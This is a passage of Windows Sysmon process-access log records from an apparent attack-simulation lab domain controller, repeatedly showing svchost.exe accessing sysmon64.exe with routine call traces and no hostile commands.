C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.970","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2619,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.970\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.970","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2620,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.970\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.970","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2621,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.970\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.970","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2622,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.970\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.970","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2623,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.970\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.970","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2624,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.970\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.970","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2625,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.970\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:40.970","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2626,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:40.970\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 